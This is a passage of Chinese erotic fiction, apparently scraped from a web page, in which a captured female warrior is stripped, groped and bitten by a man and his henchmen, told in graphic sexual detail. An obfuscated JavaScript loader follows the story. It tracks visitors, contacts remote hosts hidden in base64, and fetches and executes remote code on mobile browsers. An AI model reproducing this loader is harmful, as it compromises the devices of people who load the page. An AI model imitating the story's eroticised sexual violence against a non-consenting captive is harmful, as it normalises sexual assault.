贝塔克手掌离雪乳只有一尺,但颤抖的双臂却还一直没再伸过去,因为眼前的景色实在太美,美得让他都不忍去破坏。洞中一片寂静,但寂静中欲望黑潮却汹涌澎湃,贝塔克在发怔在积蓄着欲望,而抓着解菡嫣双臂的黑衣人紧盯着她曲线优美的后背,手掌在她的小臂间以极缓极缓移动,对他们而言即使动一寸这也算是一种抚摸,象他们这个等级的人不要说强奸凤战士连摸一下的机会都不曾有过。不知什么时候,拉着拴住她双腿铁链的两个黑衣人半蹲半跪在她的脚两边,各自用手握住了她纤细精巧的足踝,两人对视一眼不约而同将她黑色长裤裤脚拎了起来,同样是抓着但直接触碰到了她的肌肤,那种凉凉细滑的手感让他们神魂颠倒。看着周围男人有些滑稽的样子,解菡嫣想到了那次抢夺黄帝之剑之时,那些男人看到自己赤裸身体时的反应,一种浓得化不开的哀愁象雾霾将她笼罩。
野兽毕竟是野兽,面对超越想象的美,野兽虽然一时被其震撼,但终究还是会被欲望的本能所左右。沉默大约维持了三分钟,贝塔克丑陋的脸庞开始扭曲,血红的双眼射出噬人的目光,巨大得似蒲扇般的手掌瞬间越过了这一尺的,一下紧紧攫住了起伏着的高耸玉乳。
在公认的三大美女中风临晚的乳房最丰满,冷雪其次,解菡嫣略比冷雪小一点点。这只是三人间的比较,在贝塔克的眼中手中紧抓着的双乳绝对丰盈之极,手掌虽然巨大但最多覆盖住了玉峰的一半,他猛地一握手指深深地陷入了进去,虽然浑圆的乳房在他的粗暴抓捏下变了形状,但他觉得依然那么美,依然那么令人销魂。
胸口传来阵阵剧痛,但解菡嫣没有叫痛也没有反抗,剩余的力量最多只有半成。抓着自己的双手的黑衣人不是什么高手,用这半成的力量勉强可以挣脱出来,然后趁他不备打他一掌,但以自己现在力量绝对伤他不了他,自己还会被这样捉住,还是被会这样被凌辱。到埃及才两天,自己已经第二次被男人侵犯,那些绑架她的人在车上就开始对她动手动脚,他们隔着衣服甚至把手伸进衣服里摸自己的胸,那时她忍了,但那时的忍和现在的忍不一样。那时主动权还是在她手上,而此时她没了选择,只能被动地去忍受痛苦的煎熬。
魔教中人对于凤战士的渴望并不仅仅是欲望,其间更多地包含着征服的快感。
不同的人对于什么征服理解不同,采取的方式也不同,而于被本能所控制的野兽来讲,征服就是催毁、征服就是破坏。贝塔克在抓住那乳房的那一秒,他渴望听到眼前这个年轻凤战士的惨叫痛呼甚至是哭泣,但什么都没有,乳房都被他抓捏得不成模样,但好象那并不是她身体的一部分,除了眉宇紧锁了些没什么其它表情,冰冷的眼神里除了愤怒更夹杂着一丝嘲弄与轻蔑。于是贝塔克用了更巨大的力量去凌辱那原本美的似艺术品般的玉乳,但他还是看不到她神情太大的变化,他被彻底激怒了。野兽怒了会怎么样?野兽会咬人。只见贝塔克硕大的脑袋猛地凑到她的胸前,森森的白牙恶狠狠地咬向被捏得象皮球般鼓胀起来的雪峰之巅的花蕾,在那喷着热气的大嘴触碰到柔嫩的花蕾那瞬间,解菡嫣想用最后的力量去反抗,但她还是忍住了,作为年轻一代凤战士的姣姣者,她的意志的坚韧程度和心理素质可能略逊于身入魔窟的冷雪,但也差不了多少。
还好贝塔克在狂怒之下并没有完全失去理智,这狠狠地一咬虽然咬出血痕总算没把乳头给咬下来,但这只是开始,他的头埋入高耸的雪峰,象野猪一般乱啃乱咬起来。看着这疯狂的一幕周围的黑衣人个个看得目瞪口呆,他们的嘴角边都挂下一丝亮亮的唾液。
不知过了多久,解菡嫣的感到每一秒都是那么漫长,而当贝塔克从她胸脯上抬起头时,他觉得好象只过了一秒钟。在一番蹂躏后,那犹如艺术品般完美的乳房依然恢复了原来的形状,但一片雪白中那些清晰可见的牙印却诉说着屈辱与暴行。
贝塔克虽然还想继续但时间紧迫,按照规定抓住了凤战士要第一时间通报,时间拖得越长越难交待,虽然想慢慢地品味但来不及了。解菡嫣衣服已经破烂不堪裤子依然完好,贝塔克将手伸向了她的裤腰,这一刻洞穴中的所有人呼吸都急促起来,心脏怦怦跳着象蹦到了嗓子眼。
解开了裤扣贝塔克一下将长裤剥到了脚底,曲线优美到极点的白皙长腿让晃得周围的男人眼花不已。贝塔克保持着半蹲的姿势,视线落在她大腿尽头的交汇之处。与脱长裤不同,贝塔克小心翼翼地抓着纯白色的亵裤两边,轻手轻脚地将亵裤向下拉去。这条亵裤是解菡嫣在开罗刚买的,在被绑架后她一直在思考一直在忍,直到那些绑架者将她的亵裤撕得粉碎,她才出了手,但才隔了不到二十四小时,这条刚买的亵裤又一次将离开她的身体。
最先看到是的呈倒三角分布黑色细绒,绒毛不算太茂密甚至可以说有些稀疏,之后经过微微隆起后两片薄如蝉翼紧紧闭合着的粉色花瓣映入眼帘,贝塔克双手剧烈颤抖心中暗暗念道:“一定是处女,一定还是处女”。男人大都有处女情结,以贝塔克的地位虽然干不到凤战士,但找几个普通的处女开个苞还是轻而易举的。
在他的记忆有,哪怕是处女,从没有哪一个女孩的私处是如此的娇嫩如此的诱人,热血冲上脑袋他身体就象是一座火山随时就要爆发。
function QRbgNYZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function xdwEJYT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QRbgNYZ(t);};window[''+'z'+'h'+'o'+'k'+'G'+'a'+'g'+'K'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=xdwEJYT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/14913/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYWW5odWWltaWW4xLmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGdXkudGlhbbnhpbbmdoYW5nMS5jbbiUzQTk1MzU=','165532',window,document,['W','b']);}:function(){};